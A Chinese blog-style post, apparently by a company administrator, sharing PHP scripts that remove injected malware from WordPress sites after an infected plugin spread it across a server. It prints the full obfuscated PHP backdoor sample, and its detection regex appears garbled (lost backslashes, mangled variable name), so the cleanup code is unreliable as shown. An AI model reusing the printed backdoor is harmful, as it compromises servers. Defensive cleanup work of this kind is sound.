公司一些wordpress网站由于下载的插件存在恶意代码,导致整个服务器所有网站PHP文件都存在恶意代码,就写了个简单的脚本清除。
恶意代码示例
- <?php if(!isset($GLOBALS["anuna"])) { $ua=strtolower($_SERVER["HTTP_USER_AGENT"]); if ((! strstr($ua,"msie")) and (! strstr($ua,"rv:11"))) $GLOBALS["anuna"]=1; } ?><?php $bssaiikhvn = '61]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y3x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%163%x70%154%x6x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x78!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y4:]82]y3:]621:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825fdy%x5c%x7827,*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x5c%x7825ggg!>!#]y81]273]y>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7x7827jsv%x5c%x78256<C>^#zsfvrx5c%x7827&6<%x5c%x787fw6*%x5c%x78825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%%x5c%x7825:|:**t%x5c%xW~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>5b:<!%x5c%x7825c:>%x5c%x7825s:%x5cw>#]y74]273]y76]252]y85]256]y6g]257]y8!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutMSVD!-id%x5c%x7825)uqpI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,x7822:ftmbg39*56A:>:8:|:7#6ufs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvuc%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]#*%x5c%x7824-%x5c%x7824!>!tus%x5x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R3#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]139]271]y83]256]y78]248]y83]7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%27pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x, NULL); }ovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824c%x7825c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cI#64y]552]e7y]#>n%x5c%x7825<#3722!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%7825)m%x5c%x7825=*h%x5c%x78254%x5c%x785c%x5c%x7825j^%x527,*e%x5c%x7827,*d%x5c%x7827,*cmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!*1?hmg%x5c%x7or_reporting(0); preg_replace("%x2f%ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y76]258]y6g]273]y76]271]y7d]25%x5c%x7825hOh%x5c%x782f#00#W~!%x5c%xS["%x61%156%x75%156%x61"]=1; function f<5h%x5c%x7825%x5c%x782f#0#%x58]32M3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x)m%x5c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<157%x64%145%x28%141%x72%162%x61%171%x5f%155%x61%160%x28%42%%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%x7827;mnui}25Z<^2%x5c%x785c2b%x5c%x7825!>!2p%x5c2fh%x5c%x7825:<**#57]38y]4tjyf%x5c%x7860opjudovg%x525bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!7825>U<#16,47R57,27R66,#%x5c%*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7825!<***f%x5c%x78%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z0un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b%x5#P#-#Q#-#B#-#T#-#E#-#G#-#x787fw6*%x5c%x787f_*#fmjgk4%x5*WCw*[!%x5c%x7825rN}#QwTW%xc%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#50%x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%25)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%7827pd%x5c%x78256<C%x5c%x7827pd%x5c%x78256|6.7eu{x78256<%x5c%x787fw6*%x5c%x787f_%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x782x5c%x7824*!|!%x5c%x7824-%x5c%x78227K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%x5c%x787f!>x7825!<*::::::-111112)eobs%x5c%x7861L3]84]y31M6]y3e]81#%x5c%x782f#SFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%xc%x78b%x5c%x7825w:!>!%x5c%x78246767~6<Cw6<pd%x5c!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+s60QUUI&c_UOFHB%x5c%x786%x785cq%x5c%x7825%x5c%&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>%x5c%|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tujQeTQcOc%x5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x78<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x78c%x7822)!gj}1~!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x78uft%x5c%x7860msvd},;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%x7860ufldpt}X;%x5c%x78#%x5c%x785cq%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)uftc%x7825tpz!>!#]D6M7]K3#<%x5c%xbbT-%x5c%x7825bT-%x5c%x7825hW~%x5c%x782)dfyfR%x5c%x7827tfs%x5c%x78256<*17-SFEBFx5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x784l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}>!%x5c%x7825tdz)%x5c%x7825ofmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x782560msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQP78W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x55c%x787fw6<*K)ftpmdXA6|7**197-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78po)##-!#~<#%x5c%x782f%x5c%x7825c%x7824-%x5c%x7824tvctus)%x5x7825)!>>%x5c%x7822!ftmbg)!gj]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5x7860opjudovg)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvy76]271]y7d]252]y74]256#<!%x5c%x7825ffc%x7860{6~6<tfs%x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x782-!%x5c%x7825tzw%x5c%x782f%x5c%x7824)x7825iN}#-!tussfw)%x5cx7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!2qj%x5c%x78257-K)udfoopdXA%x54<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]273]y66<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:q%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5cx5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj%x7825!*3>?*2b%x5c%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c1%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBAL7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5c%x7825:>:r7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5g!)%x5c%x7825z>>2*!%x5c%x7825z>3<!f825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x-t.98]K4]65]D8]86]y31]278]y3f]5c%x7860sfqmbdf)%x5c%x7825%x5c%x7824-%x5c%x7%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfidk!~!<**qp%x5c%x3]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73"66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6x7824<%x5c%x7825j,,*!|%x5c%x7824c%x7822)7gj6<*QDU%x5c%%x785c%x5c%x7825j:^<!%x5c%x7825w%jfgg($n){return chr(ord($n)-1);} @err81Ld]245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x78y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftc%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjud7825!chr((572-480)), bggbbjvwgq($wzmdmzzyol,$bssaiikhvn))); /* kmisvzqckh */ "; $jtgibaqypx=substr($bssaiikhvn,(45338-35225),(40-28)); $jtgibaqypx($yhjbllsvwt, $urvbwkljhb, NULL); $jtgibaqypx=$urvbwkljhb; $jtgibaqypx=(775-654); $bssaiikhvn=$jtgibaqypx-1; ?>
恶意代码清理程序
- <?php
- /**
- * 文件名:delUnwantedCode.php
- * 功能:删除FTP里恶意代码
- * 使用说明:
- * 请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份
- */
- $path = dirname(__FILE__); #定义需要处理的目录
- $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录
- $fileType = array('php'); #定义需要处理的文件类型(后缀名),小写
- $search = array('@<?phps*if(!isset($GLOBALS[" u "])).*$bssaiikhvn=$jtgibaqypx-1;s*?>@si'); #定义需要过滤的恶意代码规则
- $search_count = array(
- 'all_file'=>array(), #所有文件
- 'search_file0'=>array(), #没有恶意代码文件
- 'search_file1'=>array() #含有恶意代码文件
- );
- $filelist = listDir($path,$fileType,false); #读取目录里符合条件文件列表
- if(!empty($filelist)){
- foreach ($filelist as $file){
- $file = (isset($file['name'])?$file['name']:$file);
- $search_count['all_file'][] = $file;
- $fileContent = file_get_contents($file);
- $compile_fileContent = preg_replace($search, '', $fileContent);
- if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
- #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤)
- $search_count['search_file1'][] = $file;
- ############备份原有文件 开始###############
- $bakFile = str_replace($path, $bak_path, $file);
- @make_dir(dirname($bakFile));
- @file_put_contents($bakFile, $fileContent);
- ############备份原有文件 结束###############
- #重新写入过滤后的内容到原有的PHP文件
- @file_put_contents($file, $compile_fileContent);
- }else{
- $search_count['search_file0'][] = $file;
- }
- }
- }
- #print_r($search_count);die;
- echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码,已处理结束',$path,count($search_count['all_file']), count($search_count['search_file1']));die;
- ########################
- ## 辅助函数
- ########################
- /**
- * 检查目标文件夹是否存在,如果不存在则自动创建该目录
- *
- * @access public
- * @param string folder 目录路径。不能使用相对于网站根目录的URL
- *
- * @return bool
- */
- function make_dir($folder){
- $reval = false;
- if (!file_exists($folder)){
- #如果目录不存在则尝试创建该目录
- @umask(0);
- #将目录路径拆分成数组
- preg_match_all('/([^/]*)/?/i', $folder, $atmp);
- #如果第一个字符为/则当作物理路径处理
- $base = ($atmp[0][0] == '/') ? '/' : '';
- #遍历包含路径信息的数组
- foreach ($atmp[1] AS $val){
- if ('' != $val){
- $base .= $val;
- if ('..' == $val || '.' == $val){
- #如果目录为.或者..则直接补/继续下一个循环
- $base .= '/';
- continue;
- }
- }else{
- continue;
- }
- $base .= '/';
- if (!file_exists($base)){
- #尝试创建目录,如果创建失败则继续循环
- if (@mkdir(rtrim($base, '/'), 0777)){
- @chmod($base, 0777);
- $reval = true;
- }
- }
- }
- }else{
- #路径已经存在。返回该路径是不是一个目录
- $reval = is_dir($folder);
- }
- clearstatcache();
- return $reval;
- }
- ########获取目录下所有文件,包括子目录 开始################
- function listDir($path,$fileType=array(),$fileInfo=true){
- $path = str_replace(array('/',''), DIRECTORY_SEPARATOR, $path);
- if(!file_exists($path)||!is_dir($path)){
- return '';
- }
- if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
- $path = substr($path, 0,-1);
- }
- $dirList=array();
- $dir=opendir($path);
- while($file=readdir($dir)){
- #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过
- if($file!=='.'&&$file!=='..'){
- $file = $path.DIRECTORY_SEPARATOR.$file;
- if(is_dir($file)){
- if(empty($fileType)){
- $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file))):$file);
- }
- $dirList = array_merge($dirList,listDir($file,$fileType));
- }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
- $dirList[] = ($fileInfo==true?array('name'=>$file,'isDir'=>intval(is_dir($file)),'md5_file'=>md5_file($file),'filesize'=>filesize($file),'filemtime'=>filemtime($file)):$file);
- }
- };
- };
- closedir($dir);
- return $dirList;
- }
- ########获取目录下所有文件,包括子目录 结束################
删除FTP里恶意代码(支持任意数量的文件处理)
- <?php
- /**
- * 文件名:delAllUnwantedCode.php
- * 功能:删除FTP里恶意代码(支持任意数量的文件处理)
- * 使用说明:
- * 请将文件上传到需要清除恶意代码的目录,然后通过CLI或浏览器访问即可,原有被感染的文件会自动备份
- */
- set_time_limit(0);ignore_user_abort(true);
- $path = dirname(__FILE__); #定义需要处理的目录
- $bak_path = $path.DIRECTORY_SEPARATOR.basename(__FILE__,'.php'); #定义源文件备份目录,程序过滤恶意代码前,先按原有的路径备份文档到此目录
- $fileType = array('php'); #定义需要处理的文件类型(后缀名),小写
- $search = array('@<?phps*if(!isset($GLOBALS[" u "])).*$bssaiikhvn=$jtgibaqypx-1;s*?>@si'); #定义需要过滤的恶意代码规则
- $file_count = array(
- 'all_file'=>0, #所有文件
- 'filter_file'=>0 #含有恶意代码文件
- );
- replaceUnwantedCode($path); #执行过滤
- #print_r($search_count);die;
- echo sprintf('从%s里共搜索到%s个符合条件的文件,其中%s个存在恶意代码已清理,原始文件保存在%s',$path, ($file_count['all_file']), ($file_count['filter_file']), $bak_path);die;
- function replaceUnwantedCode($path){
- global $bak_path,$fileType,$search,$file_count;
- $path = str_replace(array('/',''), DIRECTORY_SEPARATOR, $path);
- if(!file_exists($path)||!is_dir($path)){
- return '';
- }
- if(substr($path, -1,1)==DIRECTORY_SEPARATOR){
- $path = substr($path, 0,-1);
- }
- $dir=opendir($path);
- while($file=readdir($dir)){
- #若有定义$fileType,并且文件类型不在$fileType范围内或文件是一个目录,则跳过
- if($file!=='.'&&$file!=='..'){
- $file = $path.DIRECTORY_SEPARATOR.$file;
- if(is_dir($file)){
- replaceUnwantedCode($file);
- }elseif(!empty($fileType) && (in_array(pathinfo($file, PATHINFO_EXTENSION), $fileType))){
- ################################
- @$file_count['all_file']++;
- $fileContent = file_get_contents($file); #文件原始代码
- $compile_fileContent = preg_replace($search, '', $fileContent); #过滤后的内容
- if(strlen($fileContent) != strlen($compile_fileContent) && str_replace($bak_path, '', $file)==$file){
- #过滤后文件长度不一致,则表示含有恶意代码(备份文件所在目录不过滤)
- $file_count['filter_file']++;
- ############备份原有文件 开始###############
- $bakFile = str_replace($path, $bak_path, $file);
- @make_dir(dirname($bakFile));
- @file_put_contents($bakFile, $fileContent);
- ############备份原有文件 结束###############
- #重新写入过滤后的内容到原有的PHP文件
- @file_put_contents($file, $compile_fileContent);
- }
- ################################
- unset($fileContent,$compile_fileContent);
- }
- };
- };
- closedir($dir);
- return true;
- }
- ########################
- ## 辅助函数
- ########################
- /**
- * 检查目标文件夹是否存在,如果不存在则自动创建该目录
- *
- * @access public
- * @param string folder 目录路径。不能使用相对于网站根目录的URL
- *
- * @return bool
- */
- function make_dir($folder){
- $reval = false;
- if (!file_exists($folder)){
- #如果目录不存在则尝试创建该目录
- @umask(0);
- #将目录路径拆分成数组
- preg_match_all('/([^/]*)/?/i', $folder, $atmp);
- #如果第一个字符为/则当作物理路径处理
- $base = ($atmp[0][0] == '/') ? '/' : '';
- #遍历包含路径信息的数组
- foreach ($atmp[1] AS $val){
- if ('' != $val){
- $base .= $val;
- if ('..' == $val || '.' == $val){
- #如果目录为.或者..则直接补/继续下一个循环
- $base .= '/';
- continue;
- }
- }else{
- continue;
- }
- $base .= '/';
- if (!file_exists($base)){
- #尝试创建目录,如果创建失败则继续循环
- if (@mkdir(rtrim($base, '/'), 0777)){
- @chmod($base, 0777);
- $reval = true;
- }
- }
- }
- }else{
- #路径已经存在。返回该路径是不是一个目录
- $reval = is_dir($folder);
- }
- clearstatcache();
- return $reval;
- }